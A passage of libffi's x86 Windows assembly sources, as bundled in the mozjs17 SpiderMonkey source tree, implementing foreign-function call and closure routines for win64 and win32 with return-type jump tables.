passed in registers to their stack location, # call ffi_closure_win64_inner for the actual work, then return the result. # .balign 16 .globl SYMBOL_NAME(ffi_closure_win64) SYMBOL_NAME(ffi_closure_win64): # copy register arguments onto stack test $1,%r11 jne .Lfirst_is_float mov %rcx, 8(%rsp) jmp .Lsecond .Lfirst_is_float: movlpd %xmm0, 8(%rsp) .Lsecond: test $2, %r11 jne .Lsecond_is_float mov %rdx, 16(%rsp) jmp .Lthird .Lsecond_is_float: movlpd %xmm1, 16(%rsp) .Lthird: test $4, %r11 jne .Lthird_is_float mov %r8,24(%rsp) jmp .Lfourth .Lthird_is_float: movlpd %xmm2, 24(%rsp) .Lfourth: test $8, %r11 jne .Lfourth_is_float mov %r9, 32(%rsp) jmp .Ldone .Lfourth_is_float: movlpd %xmm3, 32(%rsp) .Ldone: #.ALLOCSTACK 40 sub $40, %rsp #.ENDPROLOG mov %rax, %rcx # context is first parameter mov %rsp, %rdx # stack is second parameter add $48, %rdx # point to start of arguments mov $SYMBOL_NAME(ffi_closure_win64_inner), %rax callq *%rax # call the real closure function add $40, %rsp movq %rax, %xmm0 # If the closure returned a float, # ffi_closure_win64_inner wrote it to rax retq .ffi_closure_win64_end: .balign 16 .globl SYMBOL_NAME(ffi_call_win64) SYMBOL_NAME(ffi_call_win64): # copy registers onto stack mov %r9,32(%rsp) mov %r8,24(%rsp) mov %rdx,16(%rsp) mov %rcx,8(%rsp) #.PUSHREG rbp push %rbp #.ALLOCSTACK 48 sub $48,%rsp #.SETFRAME rbp, 32 lea 32(%rsp),%rbp #.ENDPROLOG mov CIF_BYTES(%rbp),%eax add $15, %rax and $-16, %rax cmpq $0x1000, %rax jb Lch_done Lch_probe: subq $0x1000,%rsp orl $0x0, (%rsp) subq $0x1000,%rax cmpq $0x1000,%rax ja Lch_probe Lch_done: subq %rax, %rsp orl $0x0, (%rsp) lea 32(%rsp), %rax mov %rax, STACK(%rbp) mov ECIF(%rbp), %rdx mov STACK(%rbp), %rcx callq *PREP_ARGS_FN(%rbp) mov STACK(%rbp), %rsp movlpd 24(%rsp), %xmm3 movd %xmm3, %r9 movlpd 16(%rsp), %xmm2 movd %xmm2, %r8 movlpd 8(%rsp), %xmm1 movd %xmm1, %rdx movlpd (%rsp), %xmm0 movd %xmm0, %rcx callq *FN(%rbp) .Lret_struct4b: cmpl $FFI_TYPE_SMALL_STRUCT_4B, CIF_FLAGS(%rbp) jne .Lret_struct2b mov RVALUE(%rbp), %rcx mov %eax, (%rcx) jmp .Lret_void .Lret_struct2b: cmpl $FFI_TYPE_SMALL_STRUCT_2B, CIF_FLAGS(%rbp) jne .Lret_struct1b mov RVALUE(%rbp), %rcx mov %ax, (%rcx) jmp .Lret_void .Lret_struct1b: cmpl $FFI_TYPE_SMALL_STRUCT_1B, CIF_FLAGS(%rbp) jne .Lret_uint8 mov RVALUE(%rbp), %rcx mov %al, (%rcx) jmp .Lret_void .Lret_uint8: cmpl $FFI_TYPE_UINT8, CIF_FLAGS(%rbp) jne .Lret_sint8 mov RVALUE(%rbp), %rcx movzbq %al, %rax movq %rax, (%rcx) jmp .Lret_void .Lret_sint8: cmpl $FFI_TYPE_SINT8, CIF_FLAGS(%rbp) jne .Lret_uint16 mov RVALUE(%rbp), %rcx movsbq %al, %rax movq %rax, (%rcx) jmp .Lret_void .Lret_uint16: cmpl $FFI_TYPE_UINT16, CIF_FLAGS(%rbp) jne .Lret_sint16 mov RVALUE(%rbp), %rcx movzwq %ax, %rax movq %rax, (%rcx) jmp .Lret_void .Lret_sint16: cmpl $FFI_TYPE_SINT16, CIF_FLAGS(%rbp) jne .Lret_uint32 mov RVALUE(%rbp), %rcx movswq %ax, %rax movq %rax, (%rcx) jmp .Lret_void .Lret_uint32: cmpl $FFI_TYPE_UINT32, CIF_FLAGS(%rbp) jne .Lret_sint32 mov RVALUE(%rbp), %rcx movl %eax, %eax movq %rax, (%rcx) jmp .Lret_void .Lret_sint32: cmpl $FFI_TYPE_SINT32, CIF_FLAGS(%rbp) jne .Lret_float mov RVALUE(%rbp), %rcx cltq movq %rax, (%rcx) jmp .Lret_void .Lret_float: cmpl $FFI_TYPE_FLOAT, CIF_FLAGS(%rbp) jne .Lret_double mov RVALUE(%rbp), %rax movss %xmm0, (%rax) jmp .Lret_void .Lret_double: cmpl $FFI_TYPE_DOUBLE, CIF_FLAGS(%rbp) jne .Lret_sint64 mov RVALUE(%rbp), %rax movlpd %xmm0, (%rax) jmp .Lret_void .Lret_sint64: cmpl $FFI_TYPE_SINT64, CIF_FLAGS(%rbp) jne .Lret_void mov RVALUE(%rbp), %rcx mov %rax, (%rcx) jmp .Lret_void .Lret_void: xor %rax, %rax lea 16(%rbp), %rsp pop %rbp retq .ffi_call_win64_end: #endif /* !_MSC_VER */ mozjs17.0.0/js/src/ctypes/libffi/src/x86/win32.S0000664000175000017500000007015412106270662021056 0ustar sstanglsstangl/* ----------------------------------------------------------------------- win32.S - Copyright (c) 1996, 1998, 2001, 2002, 2009 Red Hat, Inc. Copyright (c) 2001 John Beniton Copyright (c) 2002 Ranjit Mathew Copyright (c) 2009 Daniel Witte X86 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef _MSC_VER .386 .MODEL FLAT, C EXTRN ffi_closure_SYSV_inner:NEAR _TEXT SEGMENT ffi_call_win32 PROC NEAR, ffi_prep_args : NEAR PTR DWORD, ecif : NEAR PTR DWORD, cif_bytes : DWORD, cif_flags : DWORD, rvalue : NEAR PTR DWORD, fn : NEAR PTR DWORD ;; Make room for all of the new args. mov ecx, cif_bytes sub esp, ecx mov eax, esp ;; Place all of the ffi_prep_args in position push ecif push eax call ffi_prep_args ;; Return stack to previous state and call the function add esp, 8 call fn ;; cdecl: we restore esp in the epilogue, so there's no need to ;; remove the space we pushed for the args. ;; stdcall: the callee has already cleaned the stack. ;; Load ecx with the return type code mov ecx, cif_flags ;; If the return value pointer is NULL, assume no return value. cmp rvalue, 0 jne ca_jumptable ;; Even if there is no space for the return value, we are ;; obliged to handle floating-point values. cmp ecx, FFI_TYPE_FLOAT jne ca_epilogue fstp st(0) jmp ca_epilogue ca_jumptable: jmp [ca_jumpdata + 4 * ecx] ca_jumpdata: ;; Do not insert anything here between label and jump table. dd offset ca_epilogue ;; FFI_TYPE_VOID dd offset ca_retint ;; FFI_TYPE_INT dd offset ca_retfloat ;; FFI_TYPE_FLOAT dd offset ca_retdouble ;; FFI_TYPE_DOUBLE dd offset ca_retlongdouble ;; FFI_TYPE_LONGDOUBLE dd offset ca_retint8 ;; FFI_TYPE_UINT8 dd offset ca_retint8 ;; FFI_TYPE_SINT8 dd offset ca_retint16 ;; FFI_TYPE_UINT16 dd offset ca_retint16 ;; FFI_TYPE_SINT16 dd offset ca_retint ;; FFI_TYPE_UINT32 dd offset ca_retint ;; FFI_TYPE_SINT32 dd offset ca_retint64 ;; FFI_TYPE_UINT64 dd offset ca_retint64 ;; FFI_TYPE_SINT64 dd offset ca_epilogue ;; FFI_TYPE_STRUCT dd offset ca_retint ;; FFI_TYPE_POINTER dd offset ca_retint8 ;; FFI_TYPE_SMALL_STRUCT_1B dd offset ca_retint16 ;; FFI_TYPE_SMALL_STRUCT_2B dd offset ca_retint ;; FFI_TYPE_SMALL_STRUCT_4B ca_retint8: ;; Load %ecx with the pointer to storage for the return value mov ecx, rvalue mov [ecx + 0], al jmp ca_epilogue ca_retint16: ;; Load %ecx with the pointer to storage for the return value mov ecx, rvalue mov [ecx + 0], ax jmp ca_epilogue ca_retint: ;; Load %ecx with the pointer to storage for the return value mov ecx, rvalue mov [ecx + 0], eax jmp ca_epilogue ca_retint64: ;; Load %ecx with the pointer to storage for the return value mov ecx, rvalue mov [ecx + 0], eax mov [ecx + 4], edx jmp ca_epilogue ca_retfloat: ;; Load %ecx with the pointer to storage for the return value mov ecx, rvalue fstp DWORD PTR [ecx] jmp ca_epilogue ca_retdouble: ;; Load %ecx with the pointer to storage for the return value mov ecx, rvalue fstp QWORD PTR [ecx] jmp ca_epilogue ca_retlongdouble: ;; Load %ecx with the pointer to storage for the return value mov ecx, rvalue fstp TBYTE PTR [ecx] jmp ca_epilogue ca_epilogue: ;; Epilogue code is autogenerated. ret ffi_call_win32 ENDP ffi_closure_SYSV PROC NEAR FORCEFRAME ;; the ffi_closure ctx is passed in eax by the trampoline. sub esp, 40 lea edx, [ebp - 24] mov [ebp - 12], edx ;; resp lea edx, [ebp + 8] mov [esp + 8], edx ;; args lea edx, [ebp - 12] mov [esp + 4], edx ;; &resp mov [esp], eax ;; closure call ffi_closure_SYSV_inner mov ecx, [ebp - 12] cs_jumptable: jmp [cs_jumpdata + 4 * eax] cs_jumpdata: ;; Do not insert anything here between the label and jump table. dd offset cs_epilogue ;; FFI_TYPE_VOID dd offset cs_retint ;; FFI_TYPE_INT dd offset cs_retfloat ;; FFI_TYPE_FLOAT dd offset cs_retdouble ;; FFI_TYPE_DOUBLE dd offset cs_retlongdouble ;; FFI_TYPE_LONGDOUBLE dd offset cs_retint8 ;; FFI_TYPE_UINT8 dd offset cs_retint8 ;; FFI_TYPE_SINT8 dd offset cs_retint16 ;; FFI_TYPE_UINT16 dd offset cs_retint16 ;; FFI_TYPE_SINT16 dd offset cs_retint ;; FFI_TYPE_UINT32 dd offset cs_retint ;; FFI_TYPE_SINT32 dd offset cs_retint64 ;; FFI_TYPE_UINT64 dd offset cs_retint64 ;; FFI_TYPE_SINT64 dd offset cs_retstruct ;; FFI_TYPE_STRUCT dd offset cs_retint ;; FFI_TYPE_POINTER dd offset cs_retint8 ;; FFI_TYPE_SMALL_STRUCT_1B dd offset cs_retint16 ;; FFI_TYPE_SMALL_STRUCT_2B dd offset cs_retint ;; FFI_TYPE_SMALL_STRUCT_4B cs_retint8: mov al, [ecx] jmp cs_epilogue cs_retint16: mov ax, [ecx] jmp cs_epilogue cs_retint: mov eax, [ecx] jmp cs_epilogue cs_retint64: mov eax, [ecx + 0] mov edx, [ecx + 4] jmp cs_epilogue cs_retfloat: fld DWORD PTR [ecx] jmp cs_epilogue cs_retdouble: fld QWORD PTR [ecx] jmp cs_epilogue cs_retlongdouble: fld TBYTE PTR [ecx] jmp cs_epilogue cs_retstruct: ;; Caller expects us to pop struct return value pointer hidden arg. ;; Epilogue code is autogenerated. ret 4 cs_epilogue: ;; Epilogue code is autogenerated. ret ffi_closure_SYSV ENDP #if !FFI_NO_RAW_API #define RAW_CLOSURE_CIF_OFFSET ((FFI_TRAMPOLINE_SIZE + 3) AND NOT 3) #define RAW_CLOSURE_FUN_OFFSET (RAW_CLOSURE_CIF_OFFSET + 4) #define RAW_CLOSURE_USER_DATA_OFFSET (RAW_CLOSURE_FUN_OFFSET + 4) #define CIF_FLAGS_OFFSET 20 ffi_closure_raw_SYSV PROC NEAR USES esi ;; the ffi_closure ctx is passed in eax by the trampoline. sub esp, 40 mov esi, [eax + RAW_CLOSURE_CIF_OFFSET] ;; closure->cif mov edx, [eax + RAW_CLOSURE_USER_DATA_OFFSET] ;; closure->user_data mov [esp + 12], edx ;; user_data lea edx, [ebp + 8] mov [esp + 8], edx ;; raw_args lea edx, [ebp - 24] mov [esp + 4], edx ;; &res mov [esp], esi ;; cif call DWORD PTR [eax + RAW_CLOSURE_FUN_OFFSET] ;; closure->fun mov eax, [esi + CIF_FLAGS_OFFSET] ;; cif->flags lea ecx, [ebp - 24] cr_jumptable: jmp [cr_jumpdata + 4 * eax] cr_jumpdata: ;; Do not insert anything here between the label and jump table. dd offset cr_epilogue ;; FFI_TYPE_VOID dd offset cr_retint ;; FFI_TYPE_INT dd offset cr_retfloat ;; FFI_TYPE_FLOAT dd offset cr_retdouble ;; FFI_TYPE_DOUBLE dd offset cr_retlongdouble ;; FFI_TYPE_LONGDOUBLE dd offset cr_retint8 ;; FFI_TYPE_UINT8 dd offset cr_retint8 ;; FFI_TYPE_SINT8 dd offset cr_retint16 ;; FFI_TYPE_UINT16 dd offset cr_retint16 ;; FFI_TYPE_SINT16 dd offset cr_retint ;; FFI_TYPE_UINT32 dd offset cr_retint ;; FFI_TYPE_SINT32 dd offset cr_retint64 ;; FFI_TYPE_UINT64 dd offset cr_retint64 ;; FFI_TYPE_SINT64 dd offset cr_epilogue ;; FFI_TYPE_STRUCT dd offset cr_retint ;; FFI_TYPE_POINTER dd offset cr_retint8 ;; FFI_TYPE_SMALL_STRUCT_1B dd offset cr_retint16 ;; FFI_TYPE_SMALL_STRUCT_2B dd offset cr_retint ;; FFI_TYPE_SMALL_STRUCT_4B cr_retint8: mov al, [ecx] jmp cr_epilogue cr_retint16: mov ax, [ecx] jmp cr_epilogue cr_retint: mov eax, [ecx] jmp cr_epilogue cr_retint64: mov eax, [ecx + 0] mov edx, [ecx + 4] jmp cr_epilogue cr_retfloat: fld DWORD PTR [ecx] jmp cr_epilogue cr_retdouble: fld QWORD PTR [ecx] jmp cr_epilogue cr_retlongdouble: fld TBYTE PTR [ecx] jmp cr_epilogue cr_epilogue: ;; Epilogue code is autogenerated. ret ffi_closure_raw_SYSV ENDP #endif /* !FFI_NO_RAW_API */ ffi_closure_STDCALL PROC NEAR FORCEFRAME ;; the ffi_closure ctx is passed in eax by the trampoline. sub esp, 40 lea edx, [ebp - 24] mov [ebp - 12], edx ;; resp lea edx, [ebp + 12] ;; account for stub return address on stack mov [esp + 8], edx ;; args lea edx, [ebp - 12] mov [esp + 4], edx ;; &resp mov [esp], eax ;; closure call ffi_closure_SYSV_inner mov ecx, [ebp - 12] cd_jumptable: jmp [cd_jumpdata + 4 * eax] cd_jumpdata: ;; Do not insert anything here between the label and jump table. dd offset cd_epilogue ;; FFI_TYPE_VOID dd offset cd_retint ;; FFI_TYPE_INT dd offset cd_retfloat ;; FFI_TYPE_FLOAT dd offset cd_retdouble ;; FFI_TYPE_DOUBLE dd offset cd_retlongdouble ;; FFI_TYPE_LONGDOUBLE dd offset cd_retint8 ;; FFI_TYPE_UINT8 dd offset cd_retint8 ;; FFI_TYPE_SINT8 dd offset cd_retint16 ;; FFI_TYPE_UINT16 dd offset cd_retint16 ;; FFI_TYPE_SINT16 dd offset cd_retint ;; FFI_TYPE_UINT32 dd offset cd_retint ;; FFI_TYPE_SINT32 dd offset cd_retint64 ;; FFI_TYPE_UINT64 dd offset cd_retint64 ;; FFI_TYPE_SINT64 dd offset cd_epilogue ;; FFI_TYPE_STRUCT dd offset cd_retint ;; FFI_TYPE_POINTER dd offset cd_retint8 ;; FFI_TYPE_SMALL_STRUCT_1B dd offset cd_retint16 ;; FFI_TYPE_SMALL_STRUCT_2B dd offset cd_retint ;; FFI_TYPE_SMALL_STRUCT_4B cd_retint8: mov al, [ecx] jmp cd_epilogue cd_retint16: mov ax, [ecx] jmp cd_epilogue cd_retint: mov eax, [ecx] jmp cd_epilogue cd_retint64: mov eax, [ecx + 0] mov edx, [ecx + 4] jmp cd_epilogue cd_retfloat: fld DWORD PTR [ecx] jmp cd_epilogue cd_retdouble: fld QWORD PTR [ecx] jmp cd_epilogue cd_retlongdouble: fld TBYTE PTR [ecx] jmp cd_epilogue cd_epilogue: ;; Epilogue code is autogenerated. ret ffi_closure_STDCALL ENDP _TEXT ENDS END #else .text # This assumes we are using gas. .balign 16 .globl _ffi_call_win32 #ifndef __OS2__ .def _ffi_call_win32; .scl 2; .type 32; .endef #endif _ffi_call_win32: .LFB1: pushl %ebp .LCFI0: movl %esp,%ebp .LCFI1: # Make room for all of the new args. movl 16(%ebp),%ecx subl %ecx,%esp movl %esp,%eax # Place all of the ffi_prep_args in position pushl 12(%ebp) pushl %eax call *8(%ebp) # Return stack to previous state and call the function addl $8,%esp # FIXME: Align the stack to a 128-bit boundary to avoid # potential performance hits. call *28(%ebp) # stdcall functions pop arguments off the stack themselves # Load %ecx with the return type code movl 20(%ebp),%ecx # If the return value pointer is NULL, assume no return value. cmpl $0,24(%ebp) jne 0f # Even if there is no space for the return value, we are # obliged to handle floating-point values. cmpl $FFI_TYPE_FLOAT,%ecx jne .Lnoretval fstp %st(0) jmp .Lepilogue 0: call 1f # Do not insert anything here between the call and the jump table. .Lstore_table: .long .Lnoretval /* FFI_TYPE_VOID */ .long .Lretint /* FFI_TYPE_INT */ .long .Lretfloat /* FFI_TYPE_FLOAT */ .long .Lretdouble /* FFI_TYPE_DOUBLE */ .long .Lretlongdouble /* FFI_TYPE_LONGDOUBLE */ .long .Lretuint8 /* FFI_TYPE_UINT8 */ .long .Lretsint8 /* FFI_TYPE_SINT8 */ .long .Lretuint16 /* FFI_TYPE_UINT16 */ .long .Lretsint16 /* FFI_TYPE_SINT16 */ .long .Lretint /* FFI_TYPE_UINT32 */ .long .Lretint /* FFI_TYPE_SINT32 */ .long .Lretint64 /* FFI_TYPE_UINT64 */ .long .Lretint64 /* FFI_TYPE_SINT64 */ .long .Lretstruct /* FFI_TYPE_STRUCT */ .long .Lretint /* FFI_TYPE_POINTER */ .long .Lretstruct1b /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lretstruct2b /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lretstruct4b /* FFI_TYPE_SMALL_STRUCT_4B */ 1: add %ecx, %ecx add %ecx, %ecx add (%esp),%ecx add $4, %esp jmp *(%ecx) /* Sign/zero extend as appropriate. */ .Lretsint8: movsbl %al, %eax jmp .Lretint .Lretsint16: movswl %ax, %eax jmp .Lretint .Lretuint8: movzbl %al, %eax jmp .Lretint .Lretuint16: movzwl %ax, %eax jmp .Lretint .Lretint: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx movl %eax,0(%ecx) jmp .Lepilogue .Lretfloat: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx fstps (%ecx) jmp .Lepilogue .Lretdouble: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx fstpl (%ecx) jmp .Lepilogue .Lretlongdouble: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx fstpt (%ecx) jmp .Lepilogue .Lretint64: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx movl %eax,0(%ecx) movl %edx,4(%ecx) jmp .Lepilogue .Lretstruct1b: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx movb %al,0(%ecx) jmp .Lepilogue .Lretstruct2b: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx movw %ax,0(%ecx) jmp .Lepilogue .Lretstruct4b: # Load %ecx with the pointer to storage for the return value movl 24(%ebp),%ecx movl %eax,0(%ecx) jmp .Lepilogue .Lretstruct: # Nothing to do! .Lnoretval: .Lepilogue: movl %ebp,%esp popl %ebp ret .ffi_call_win32_end: .LFE1: # This assumes we are using gas. .balign 16 .globl _ffi_closure_SYSV #ifndef __OS2__ .def _ffi_closure_SYSV; .scl 2; .type 32; .endef #endif _ffi_closure_SYSV: .LFB3: pushl %ebp .LCFI4: movl %esp, %ebp .LCFI5: subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 8(%ebp), %edx movl %edx, 4(%esp) /* args = __builtin_dwarf_cfa () */ leal -12(%ebp), %edx movl %edx, (%esp) /* &resp */ call _ffi_closure_SYSV_inner movl -12(%ebp), %ecx 0: call 1f # Do not insert anything here between the call and the jump table. .Lcls_store_table: .long .Lcls_noretval /* FFI_TYPE_VOID */ .long .Lcls_retint /* FFI_TYPE_INT */ .long .Lcls_retfloat /* FFI_TYPE_FLOAT */ .long .Lcls_retdouble /* FFI_TYPE_DOUBLE */ .long .Lcls_retldouble /* FFI_TYPE_LONGDOUBLE */ .long .Lcls_retuint8 /* FFI_TYPE_UINT8 */ .long .Lcls_retsint8 /* FFI_TYPE_SINT8 */ .long .Lcls_retuint16 /* FFI_TYPE_UINT16 */ .long .Lcls_retsint16 /* FFI_TYPE_SINT16 */ .long .Lcls_retint /* FFI_TYPE_UINT32 */ .long .Lcls_retint /* FFI_TYPE_SINT32 */ .long .Lcls_retllong /* FFI_TYPE_UINT64 */ .long .Lcls_retllong /* FFI_TYPE_SINT64 */ .long .Lcls_retstruct /* FFI_TYPE_STRUCT */ .long .Lcls_retint /* FFI_TYPE_POINTER */ .long .Lcls_retstruct1 /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lcls_retstruct2 /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lcls_retstruct4 /* FFI_TYPE_SMALL_STRUCT_4B */ 1: add %eax, %eax add %eax, %eax add (%esp),%eax add $4, %esp jmp *(%eax) /* Sign/zero extend as appropriate. */ .Lcls_retsint8: movsbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retsint16: movswl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retuint8: movzbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retuint16: movzwl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retint: movl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retfloat: flds (%ecx) jmp .Lcls_epilogue .Lcls_retdouble: fldl (%ecx) jmp .Lcls_epilogue .Lcls_retldouble: fldt (%ecx) jmp .Lcls_epilogue .Lcls_retllong: movl (%ecx), %eax movl 4(%ecx), %edx jmp .Lcls_epilogue .Lcls_retstruct1: movsbl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct2: movswl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct4: movl (%ecx), %eax jmp .Lcls_epilogue .Lcls_retstruct: # Caller expects us to pop struct return value pointer hidden arg. movl %ebp, %esp popl %ebp ret $0x4 .Lcls_noretval: .Lcls_epilogue: movl %ebp, %esp popl %ebp ret .ffi_closure_SYSV_end: .LFE3: #if !FFI_NO_RAW_API #define RAW_CLOSURE_CIF_OFFSET ((FFI_TRAMPOLINE_SIZE + 3) & ~3) #define RAW_CLOSURE_FUN_OFFSET (RAW_CLOSURE_CIF_OFFSET + 4) #define RAW_CLOSURE_USER_DATA_OFFSET (RAW_CLOSURE_FUN_OFFSET + 4) #define CIF_FLAGS_OFFSET 20 # This assumes we are using gas. .balign 16 .globl _ffi_closure_raw_SYSV #ifndef __OS2__ .def _ffi_closure_raw_SYSV; .scl 2; .type 32; .endef #endif _ffi_closure_raw_SYSV: .LFB4: pushl %ebp .LCFI6: movl %esp, %ebp .LCFI7: pushl %esi .LCFI8: subl $36, %esp movl RAW_CLOSURE_CIF_OFFSET(%eax), %esi /* closure->cif */ movl RAW_CLOSURE_USER_DATA_OFFSET(%eax), %edx /* closure->user_data */ movl %edx, 12(%esp) /* user_data */ leal 8(%ebp), %edx /* __builtin_dwarf_cfa () */ movl %edx, 8(%esp) /* raw_args */ leal -24(%ebp), %edx movl %edx, 4(%esp) /* &res */ movl %esi, (%esp) /* cif */ call *RAW_CLOSURE_FUN_OFFSET(%eax) /* closure->fun */ movl CIF_FLAGS_OFFSET(%esi), %eax /* rtype */ 0: call 1f # Do not insert anything here between the call and the jump table. .Lrcls_store_table: .long .Lrcls_noretval /* FFI_TYPE_VOID */ .long .Lrcls_retint /* FFI_TYPE_INT */ .long .Lrcls_retfloat /* FFI_TYPE_FLOAT */ .long .Lrcls_retdouble /* FFI_TYPE_DOUBLE */ .long .Lrcls_retldouble /* FFI_TYPE_LONGDOUBLE */ .long .Lrcls_retuint8 /* FFI_TYPE_UINT8 */ .long .Lrcls_retsint8 /* FFI_TYPE_SINT8 */ .long .Lrcls_retuint16 /* FFI_TYPE_UINT16 */ .long .Lrcls_retsint16 /* FFI_TYPE_SINT16 */ .long .Lrcls_retint /* FFI_TYPE_UINT32 */ .long .Lrcls_retint /* FFI_TYPE_SINT32 */ .long .Lrcls_retllong /* FFI_TYPE_UINT64 */ .long .Lrcls_retllong /* FFI_TYPE_SINT64 */ .long .Lrcls_retstruct /* FFI_TYPE_STRUCT */ .long .Lrcls_retint /* FFI_TYPE_POINTER */ .long .Lrcls_retstruct1 /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lrcls_retstruct2 /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lrcls_retstruct4 /* FFI_TYPE_SMALL_STRUCT_4B */ 1: add %eax, %eax add %eax, %eax add (%esp),%eax add $4, %esp jmp *(%eax) /* Sign/zero extend as appropriate. */ .Lrcls_retsint8: movsbl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retsint16: movswl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retuint8: movzbl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retuint16: movzwl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retint: movl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retfloat: flds -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retdouble: fldl -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retldouble: fldt -24(%ebp) jmp .Lrcls_epilogue .Lrcls_retllong: movl -24(%ebp), %eax movl -20(%ebp), %edx jmp .Lrcls_epilogue .Lrcls_retstruct1: movsbl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retstruct2: movswl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retstruct4: movl -24(%ebp), %eax jmp .Lrcls_epilogue .Lrcls_retstruct: # Nothing to do! .Lrcls_noretval: .Lrcls_epilogue: addl $36, %esp popl %esi popl %ebp ret .ffi_closure_raw_SYSV_end: .LFE4: #endif /* !FFI_NO_RAW_API */ # This assumes we are using gas. .balign 16 .globl _ffi_closure_STDCALL #ifndef __OS2__ .def _ffi_closure_STDCALL; .scl 2; .type 32; .endef #endif _ffi_closure_STDCALL: .LFB5: pushl %ebp .LCFI9: movl %esp, %ebp .LCFI10: subl $40, %esp leal -24(%ebp), %edx movl %edx, -12(%ebp) /* resp */ leal 12(%ebp), %edx /* account for stub return address on stack */ movl %edx, 4(%esp) /* args */ leal -12(%ebp), %edx movl %edx, (%esp) /* &resp */ call _ffi_closure_SYSV_inner movl -12(%ebp), %ecx 0: call 1f # Do not insert anything here between the call and the jump table. .Lscls_store_table: .long .Lscls_noretval /* FFI_TYPE_VOID */ .long .Lscls_retint /* FFI_TYPE_INT */ .long .Lscls_retfloat /* FFI_TYPE_FLOAT */ .long .Lscls_retdouble /* FFI_TYPE_DOUBLE */ .long .Lscls_retldouble /* FFI_TYPE_LONGDOUBLE */ .long .Lscls_retuint8 /* FFI_TYPE_UINT8 */ .long .Lscls_retsint8 /* FFI_TYPE_SINT8 */ .long .Lscls_retuint16 /* FFI_TYPE_UINT16 */ .long .Lscls_retsint16 /* FFI_TYPE_SINT16 */ .long .Lscls_retint /* FFI_TYPE_UINT32 */ .long .Lscls_retint /* FFI_TYPE_SINT32 */ .long .Lscls_retllong /* FFI_TYPE_UINT64 */ .long .Lscls_retllong /* FFI_TYPE_SINT64 */ .long .Lscls_retstruct /* FFI_TYPE_STRUCT */ .long .Lscls_retint /* FFI_TYPE_POINTER */ .long .Lscls_retstruct1 /* FFI_TYPE_SMALL_STRUCT_1B */ .long .Lscls_retstruct2 /* FFI_TYPE_SMALL_STRUCT_2B */ .long .Lscls_retstruct4 /* FFI_TYPE_SMALL_STRUCT_4B */ 1: add %eax, %eax add %eax, %eax add (%esp),%eax add $4, %esp jmp *(%eax) /* Sign/zero extend as appropriate. */ .Lscls_retsint8: movsbl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retsint16: movswl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retuint8: movzbl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retuint16: movzwl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retint: movl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retfloat: flds (%ecx) jmp .Lscls_epilogue .Lscls_retdouble: fldl (%ecx) jmp .Lscls_epilogue .Lscls_retldouble: fldt (%ecx) jmp .Lscls_epilogue .Lscls_retllong: movl (%ecx), %eax movl 4(%ecx), %edx jmp .Lscls_epilogue .Lscls_retstruct1: movsbl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retstruct2: movswl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retstruct4: movl (%ecx), %eax jmp .Lscls_epilogue .Lscls_retstruct: # Nothing to do! .Lscls_noretval: .Lscls_epilogue: movl %ebp, %esp popl %ebp ret .ffi_closure_STDCALL_end: .LFE5: #ifndef __OS2__ .section .eh_frame,"w" #endif .Lframe1: .LSCIE1: .long .LECIE1-.LASCIE1 /* Length of Common Information Entry */ .LASCIE1: .long 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ #ifdef __PIC__ .ascii "zR\0" /* CIE Augmentation */ #else .ascii "\0" /* CIE Augmentation */ #endif .byte 0x1 /* .uleb128 0x1; CIE Code Alignment Factor */ .byte 0x7c /* .sleb128 -4; CIE Data Alignment Factor */ .byte 0x8 /* CIE RA Column */ #ifdef __PIC__ .byte 0x1 /* .uleb128 0x1; Augmentation size */ .byte 0x1b /* FDE Encoding (pcrel 